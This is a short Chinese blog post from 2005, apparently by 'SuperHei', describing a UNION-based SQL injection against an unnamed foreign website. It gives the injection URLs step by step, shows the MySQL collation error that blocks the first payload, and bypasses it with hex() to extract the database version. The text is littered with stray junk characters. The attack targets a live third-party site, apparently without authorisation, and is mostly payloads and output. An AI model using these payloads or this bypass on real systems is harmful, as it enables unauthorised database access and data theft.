本文作者:SuperHei ~. c% q: M4 \# @/ l
文章性质:原创
; h _/ F. o# W3 {* H发布日期:2005-10-18% e& p9 @0 k. D. {$ I5 t
测试个国外的站时:0 X( D9 u H% d6 G/ @
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
' n% N _( _3 _/ I返回错误:; T2 |. y5 c/ L: t& ~7 o
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
( P8 L' o" p$ D4 kMySQL Error No. 126
5 T. w8 }2 M8 d1 r; g4 B: D看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
- C" y: p' H1 x! ~- J解决办法:转为其他编码如hex。; W5 [" n3 W7 \( h9 Z8 ^2 X- u' S
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*4 k( S9 o/ h( k
成功得到hex(version())的值为:
7 X& w4 S- n5 h7 _$ ?1 H3 M342E312E332D626574610 i/ s# R0 ]3 }, G- M2 \7 |# ?
回Mysql查询下得到:. L' F2 j$ o# h* O7 U7 V- l2 m
mysql> select 0x342E312E332D62657461;" P7 R4 Z/ K6 Z% f
+------------------------+( Z( Y$ n7 Y. {9 b
| 0x342E312E332D62657461 |/ A3 V6 m o: d* a) r) {
+------------------------+
! G1 K* d) _ j, v| 4.1.3-beta |/ d0 R2 U; z$ s |1 g
+------------------------+* I2 |% Y; P- ?! @8 E6 i
1 row in set (0.00 sec)' W. n" y: j: ^! x
& K* M3 I' P& U+ o
|